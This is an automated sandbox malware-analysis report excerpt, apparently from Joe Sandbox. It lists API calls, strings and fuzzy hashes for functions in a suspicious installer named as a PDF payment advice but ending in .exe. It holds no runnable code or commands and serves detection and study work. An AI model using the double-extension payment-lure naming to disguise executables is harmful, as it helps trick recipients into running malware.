Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df035667192aca5c3680bb857e8dd47c0aa2c6f6aae311b2a540ed6b21077dfa
Instruction ID: 1644c94297a6e2d1b4e9f0aeee9f0c77f66fc5de92a1577942f5ef847e7267c5
Opcode Fuzzy Hash: df035667192aca5c3680bb857e8dd47c0aa2c6f6aae311b2a540ed6b21077dfa
Instruction Fuzzy Hash: 8DE17A7190070ADFDB24CF58C890BAAB7F5FB45305F15892EE497A7291D738AAA1CF04

Function 00407041 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
Instruction ID: 4e7e9ca0714fd30891db9328173e30945d26479923c7842d5bcb9add60bdfbdd
Opcode Fuzzy Hash: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
Instruction Fuzzy Hash: 4BC14931E04219DBDF18CF68C4905EEB7B2BF98314F25826AD8567B384D7346A42CF95

Function 004042B6 Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404354
GetDlgItem.USER32(?,000003E8), ref: 00404368
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404385
GetSysColor.USER32(?), ref: 00404396
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043A4
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043B2
lstrlenW.KERNEL32(?), ref: 004043B7
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043C4
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043D9
GetDlgItem.USER32(?,0000040A), ref: 00404432
SendMessageW.USER32(00000000), ref: 00404439
GetDlgItem.USER32(?,000003E8), ref: 00404464
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044A7
LoadCursorW.USER32(00000000,00007F02), ref: 004044B5
SetCursor.USER32(00000000), ref: 004044B8
ShellExecuteW.SHELL32(0000070B,open,00432EA0,00000000,00000000,00000001), ref: 004044CD
LoadCursorW.USER32(00000000,00007F00), ref: 004044D9
SetCursor.USER32(00000000), ref: 004044DC
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040450B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040451D

Strings

open, xrefs: 004044C5
Call, xrefs: 00404493
N, xrefs: 00404452
-B@, xrefs: 004044C2

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: -B@$Call$N$open
API String ID: 3615053054-1446803726
Opcode ID: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction ID: dd3f9e4c49c61f52868447dcb3d39b77a72b713ccf0d54d9464424dd5907340f
Opcode Fuzzy Hash: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction Fuzzy Hash: E87190B1900209BFDB109F61DD89EAA7B69FB84355F00803AFB05BA1D0C778AD51CF98

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction ID: 6108585e84898fc0a566315ef3a84ca8793ce744416779fac967068cfe9173e2
Opcode Fuzzy Hash: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction Fuzzy Hash: 0E418A71800209AFCB058F95DE459AFBBB9FF44310F04842EF991AA1A0C738EA54DFA4

Function 00405D84 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00430908,NUL,?,00000000,?,0040A300,00405F17,?,?), ref: 00405D93
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,0040A300,00405F17,?,?), ref: 00405DB7
GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 00405DC0

Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

GetShortPathNameW.KERNEL32(00431108,00431108,00000400), ref: 00405DDD
wsprintfA.USER32 ref: 00405DFB
GetFileSize.KERNEL32(00000000,00000000,00431108,C0000000,00000004,00431108,?,?,?,?,?), ref: 00405E36
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405E45
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7D
SetFilePointer.KERNEL32(0040A578,00000000,00000000,00000000,00000000,00430508,00000000,-0000000A,0040A578,00000000,[Rename],00000000,00000000,00000000), ref: 00405ED3
GlobalFree.KERNEL32(00000000), ref: 00405EE4
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405EEB

Part of subcall function 00405C2A: GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

Strings

[Rename], xrefs: 00405E65, 00405E77
NUL, xrefs: 00405D8D
%ls=%ls, xrefs: 00405DF1

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %ls=%ls$NUL$[Rename]
API String ID: 222337774-899692902
Opcode ID: b2f9954a637af8ebec5c0b1a6beb43ebeeb7d59e5d1590defe92d75fa46bc12e
Instruction ID: 58c57230207582c12286da0908ad594a16be4941a6f2872b3690da29fc8d014c
Opcode Fuzzy Hash: b2f9954a637af8ebec5c0b1a6beb43ebeeb7d59e5d1590defe92d75fa46bc12e
Instruction Fuzzy Hash: 01311370600B18BBD2206B219D49F6B3A5CEF45755F14043AB981F62D2EE7CAA01CAAD

Function 100022D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 10002416

Part of subcall function 1000122C: lstrcpynW.KERNEL32(00000000,?,100012DF,00000019,100011BE,-000000A0), ref: 1000123C

GlobalAlloc.KERNEL32(00000040), ref: 10002397
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023B2

Strings

@Hmu, xrefs: 100023CB

Memory Dump Source

Source File: 00000000.00000002.2036183059.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2036170525.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2036195897.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2036208769.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID: @Hmu
API String ID: 4216380887-887474944
Opcode ID: 3b2da28fc6c9bb4151d71d136a2166c584fe2e1793c0aa67a83c17282771645f
Instruction ID: a8798eece1b67337def5fc6f06e905ed3cc6fca3e5836deafc22007a072d802d
Opcode Fuzzy Hash: 3b2da28fc6c9bb4151d71d136a2166c584fe2e1793c0aa67a83c17282771645f
Instruction Fuzzy Hash: A14190B1508305EFF320DF24D885AAA77F8FB883D0F50452DF9468619ADB34AA54DB61

Function 004062E9 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(0040A300,*?|<>/":,00000000,"C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe",74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 0040634C
CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
CharNextW.USER32(0040A300,"C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe",74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406360
CharPrevW.USER32(0040A300,0040A300,74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406373

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004062EA
"C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe", xrefs: 0040632D
*?|<>/":, xrefs: 0040633B

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-3585730650
Opcode ID: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction ID: f5504631107e1e3793a073f133b65ff293a0897d7111eb10bd5d41781883406d
Opcode Fuzzy Hash: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction Fuzzy Hash: B611C42690061295DB303B558C84AB762F8EF54750F56843FED86B32D0EB7C9CA2C6ED

Function 00404180 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040419D
GetSysColor.USER32(00000000), ref: 004041B9
SetTextColor.GDI32(?,00000000), ref: 004041C5
SetBkMode.GDI32(?,?), ref: 004041D1
GetSysColor.USER32(?), ref: 004041E4
SetBkColor.GDI32(?,?), ref: 004041F4
DeleteObject.GDI32(?), ref: 0040420E
CreateBrushIndirect.GDI32(?), ref: 00404218

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction ID: dec6db0c7b043789455d5ba444b9f0b4b6699da27fefac44a21b5edf9a5b929b
Opcode Fuzzy Hash: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction Fuzzy Hash: E321C3B1500704ABCB219F68EE08B4BBBF8AF40710F04896DF996F66A0C734E944CB64

Function 004051B4 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042C248,00000000,0041D820,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,74DF23A0), ref: 0040520F
SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 183bef7a41385e3ccd61e2bddc5e3e752014e2c91baf1b93c875fecc4eda2183
Instruction ID: bea5982b108369c56cf3d35f12f42b62494ffc2cb206b3c5387e037ca996873b
Opcode Fuzzy Hash: 183bef7a41385e3ccd61e2bddc5e3e752014e2c91baf1b93c875fecc4eda2183
Instruction Fuzzy Hash: B2219D71900518BBCB119FA5DD849DFBFB8EF45354F14807AF944B6290C7794A50CFA8

Function 00404A7E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A99
GetMessagePos.USER32 ref: 00404AA1
ScreenToClient.USER32(?,?), ref: 00404ABB
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404ACD
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AF3

Strings

f, xrefs: 00404ACF

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction ID: 4e6aff0cdf26a8240c2caa3ab5eae10a4373f49143cb0f782fa754f2c80184c8
Opcode Fuzzy Hash: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction Fuzzy Hash: AE015E71A40219BADB00DB94DD85FFEBBBCAF55711F10012BBA51B61D0C7B49A058BA4

Function 00402D04 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402D22
MulDiv.KERNEL32(000731A9,00000064,000731AD), ref: 00402D4D
wsprintfW.USER32 ref: 00402D5D
SetWindowTextW.USER32(?,?), ref: 00402D6D
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402D7F

Strings

verifying installer: %d%%, xrefs: 00402D57

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction ID: 97815700fdd75a8fa64cd4b2fc5eb6b0a03b286ae4c71c47182b2025913274cc
Opcode Fuzzy Hash: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction Fuzzy Hash: 1801447060020DBFEF249F61DE49FEA3B69AB04304F008039FA45B91D0DBB889558F58

Function 00401D56 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D59
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D66
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D75
ReleaseDC.USER32(?,00000000), ref: 00401D86
CreateFontIndirectW.GDI32(0040CDF8), ref: 00401DD1

Strings

Calibri, xrefs: 00401DB7

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Calibri
API String ID: 3808545654-1409258342
Opcode ID: 19b2d30e00b512fe454d1cbfc28b544df66b8b4a94fa99dfbc87282a1f03fb40
Instruction ID: 434465042c296b11fe85f1af20959402fdd5081aa20827676714b0861cca44ca
Opcode Fuzzy Hash: 19b2d30e00b512fe454d1cbfc28b544df66b8b4a94fa99dfbc87282a1f03fb40
Instruction Fuzzy Hash: C301A231544640EFE7015BB0EF8AB9A3F74AB66301F208579E581B62E2C9B800559BAE

Function 100024A9 Relevance: 9.1, APIs: 6, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNEL32(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalFree.KERNEL32(?), ref: 10002572
GlobalFree.KERNEL32(00000000), ref: 100025AD

Memory Dump Source

Source File: 00000000.00000002.2036183059.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2036170525.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2036195897.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2036208769.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: a621a955531d0e661206b23193f22b54096652e1fd49661ebc4a0141683b6ddb
Instruction ID: 76257f5bf6759f365bfcd452de7d39bb0b2322773c3eba187a8a795e141f7608
Opcode Fuzzy Hash: a621a955531d0e661206b23193f22b54096652e1fd49661ebc4a0141683b6ddb
Instruction Fuzzy Hash: 6831DE71504A21EFF321CF14CCA8E2B7BF8FB853D2F114529FA40961A8CB319851DB69

Function 00402840 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402894
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004028B0
GlobalFree.KERNEL32(?), ref: 004028E9
GlobalFree.KERNEL32(00000000), ref: 004028FC
CloseHandle.KERNEL32(?), ref: 00402914
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402928

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
